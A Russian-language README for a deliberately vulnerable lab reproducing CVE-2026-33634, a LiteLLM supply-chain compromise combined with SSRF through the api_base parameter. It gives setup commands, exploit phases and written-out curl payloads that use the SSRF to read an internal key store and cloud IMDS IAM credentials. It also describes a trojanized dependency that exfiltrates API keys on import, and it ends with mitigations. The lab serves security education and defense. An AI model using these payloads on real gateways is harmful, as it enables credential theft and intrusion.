CVE-2026-33634 — LiteLLM supply chain + SSRF без api_base (PoC / Lab)

⚠️ Намеренно уязвимая лаборатория, для образовательного и авторизованного использования. Запускайте только на своей машине, против контейнеров этого репозитория. Прочитайте SECURITY-NOTES.md перед началом.

🚫 НИКОГДА не запускайте эту лабораторию на облачной VM или на общей машине. У шлюза SSRF намеренно неограничен: если есть реальный IMDS (169.254.169.254) или чувствительные сервисы на loopback/в LAN, SSRF их действительно достигнет. Порты публикуются только на 127.0.0.1; оставьте так. Используйте изолированный/одноразовый хост.

CVSS 9.4 (критический). Компрометация цепочки поставок шлюза LiteLLM (март/2026): вредоносная зависимость в библиотеке шлюза раскрыла весь портфель учётных данных провайдеров ИИ. Рядом проявляется повторяющийся паттерн этого слоя: ключ OpenAI в прокси и SSRF в параметре api_base. Эта лаборатория воспроизводит обе уязвимости и связывает их в эксплойт.

Две связанные уязвимости

1) Supply chain — троянизированная зависимость

litellm-telemetry-helper (в malicious-dep/) имитирует скомпрометированную транзитивную зависимость. В нарративе инцидента слабый пин (>=0.9.6) позволил бы резолверу подтянуть вредоносную версию 0.9.7 вместо чистой 0.9.6. Полезная нагрузка срабатывает при import (достаточно, чтобы шлюз разрешил зависимость) и в фоновом потоке эксфильтрует всё окружение (OPENAI_API_KEY, ANTHROPIC_API_KEY, AWS_*, ...) на коллектор атакующего — тихо, не ломая приложение.

2) SSRF в api_base

Прокси (gateway/app.py) принимает api_base (base_url провайдера) от вызывающей стороны, без allowlist. Атакующий контролирует, куда шлюз делает запросы, и шлюз при этом ещё:

• прикрепляет реальный ключ провайдера в заголовке Authorization, и
• возвращает тело ответа upstream (SSRF произвольного чтения).

С этим можно: достичь внутренних сервисов (/admin/keys), украсть облачные учётные данные в IMDS (169.254.169.254), просканировать порты внутренней сети и утечь ключ каждого провайдера, направив api_base обратно на атакующего.

Архитектура лаборатории

                    HOST (вы / атакующий)
        exploit.py ──POST /v1/chat/completions {api_base:…}──►┐
              ▲                                               │
              └───────────GET /loot (localhost:8080)──┐       │
                                                      │       ▼
   ┌───────────────────────── сеть docker "labnet" ───┼───────────────────┐
   │                                                   │                   │
   │   collector (attacker.lab:8080) ◄─ beacon supply-chain ── gateway     │
   │      • /beacon  (exfil вредоносной зависимости)   │     (litellm      │
   │      • /collect (утечка ключа через SSRF)         │      :4000)       │
   │      • /oob     (подтверждение слепого SSRF)      │        │ SSRF     │
   │      • /loot                                      ┘        │ (api_base)│
   │                                                            ▼          │
   │   internal.lab:9000  /admin/keys   (НЕ опубликован) ◄──────┤          │
   │   imds.lab:80        /latest/...   (НЕ опубликован) ◄──────┤          │
   │   provider-mock.lab:9100  (upstream "обычный")     ◄───────┘          │
   └──────────────────────────────────────────────────────────────────────┘

internal.lab и imds.lab не имеют опубликованного порта — только SSRF шлюза их достигает. В этом и суть лаборатории.

Как поднять и исследовать

Предварительные требования: Docker + Docker Compose v2, и Python 3.9+ с httpx для эксплойта.

cd CVE-2026-33634

# 1) поднять лабораторию (gateway :4000, коллектор :8080)
docker compose up -d --build      # или: make up

# 2) установить зависимость эксплойта
python3 -m pip install -r exploit/requirements.txt

# 3) запустить полный эксплойт
python3 exploit/exploit.py        # или: make exploit

Запуск отдельных фаз:

python3 exploit/exploit.py --only recon,ssrf
python3 exploit/exploit.py --only internal        # только кража внутреннего хранилища
python3 exploit/exploit.py --only cloud           # только кража облачных учётных данных
python3 exploit/exploit.py --only keyleak         # только утечка ключей провайдеров
python3 exploit/exploit.py --only supplychain     # только проверка beacon зависимости

Полный лут сохраняется в loot.json. Наблюдайте, как атакующий получает данные:

docker compose logs -f collector       # make collector-logs
curl -s http://localhost:8080/loot | python3 -m json.tool

Воспроизвести только SSRF вручную (без эксплойта)

# произвольное чтение: внутреннее хранилище через SSRF
curl -s http://localhost:4000/v1/chat/completions \
  -H 'content-type: application/json' \
  -d '{"model":"gpt-4o","api_base":"http://internal.lab:9000/admin/keys","messages":[]}' \
  | python3 -m json.tool

# облачные учётные данные через SSRF к IMDS
curl -s http://localhost:4000/v1/chat/completions \
  -H 'content-type: application/json' \
  -d '{"model":"gpt-4o","api_base":"http://imds.lab/latest/meta-data/iam/security-credentials/litellm-gateway-role","messages":[]}'

Что делает эксплойт (фазы)

Достоверность и упрощения лаборатории

Эта лаборатория отдаёт приоритет дидактической ясности и воспроизводимости. Там, где она абстрагирует реальный инцидент, это сделано намеренно — и стоит знать различия:

• Прямой import vs. транзитивная зависимость. Шлюз делает import litellm_telemetry_helper явно, вместо того чтобы пакет был скрытой транзитивной зависимостью в дереве реального litellm. Эффект (полезная нагрузка при import) идентичен; цепочка разрешения была укорочена.
• Локальная установка vs. разрешение версий. Слабый пин >=0.9.6 — это нарратив (закомментированная строка в gateway/requirements.txt); в лаборатории зависимость устанавливается из ./malicious-dep через Dockerfile — нет индекса PyPI, разрешающего 0.9.7 поверх 0.9.6. Чтобы отработать разрешение по-настоящему, поднимите локальный индекс (pypiserver/devpi) с обеими версиями.
• SSRF произвольного пути. В векторе api_base лаборатория использует URL verbatim, когда есть явный путь (чтобы продемонстрировать чтение /admin/keys и IMDS одним параметром). На OpenAI-совместимом пути реальный LiteLLM конкатенирует фиксированный суффикс (/chat/completions) и делает POST — контроль обычно над хостом (утечка ключа, SSRF по хосту), а произвольный путь появляется в маршрутах /health. Продемонстрированное воздействие (утечка портфеля + внутренний/облачный пивот) достоверно; точное построение URL упрощено.

Меры защиты (как вы бы это исправили)

SSRF (api_base)

• Allowlist разрешённых хостов/доменов upstream; отклоняйте остальное.
• Запретите приватные IP, loopback и link-local 169.254.0.0/16 (IMDS); разрешайте DNS и валидируйте IP до подключения (осторожно с rebinding).
• Не используйте base_url клиента для административных маршрутов; разделяйте плоскости.
• Никогда не прикрепляйте учётные данные провайдера к невалидированному назначению.
• Принудительно включите IMDSv2 (обязательный токен) и hop-limit=1 на облачном хосте.
• Egress firewall: шлюз общается только с нужными ему провайдерами.

Supply chain

• Точный пин + хеши (--require-hashes, lockfile); никаких >=.
• Проверяйте происхождение (Sigstore/аттестации), аудируйте новые зависимости.
• Запускайте с заблокированным egress по умолчанию; beacon при import провалится.
• Относитесь к pip install как к выполнению кода (install hooks); используйте sandbox/изолированный CI.
• Секреты вне долгоживущих переменных окружения: используйте secrets manager с краткосрочными учётными данными и ротацией.

Учётные данные/секреты (baseline)

• Отсутствующий секрет = сбой при загрузке (без default). Не возвращайте вызывающей стороне подробные сущности/ошибки. Логируйте по allowlist, никогда токены/claims.

Структура

CVE-2026-33634/
├── docker-compose.yml        # оркестрирует всё в сети labnet
├── Makefile                  # up / down / logs / exploit
├── gateway/                  # УЯЗВИМЫЙ прокси LiteLLM-style (SSRF + import зависимости)
├── malicious-dep/            # троянизированная зависимость (полезная нагрузка при import)
├── collector/                # коллектор атакующего (/beacon /collect /oob /loot)
├── internal-service/         # внутренний /admin/keys (только через SSRF)
├── imds/                     # mock облачного metadata service (только через SSRF)
├── provider-mock/            # "обычный" upstream (для контраста)
├── exploit/exploit.py        # многофазный эксплойт (async)
├── SECURITY-NOTES.md         # намеренные уязвимости, сдерживание и авторизация
└── README.md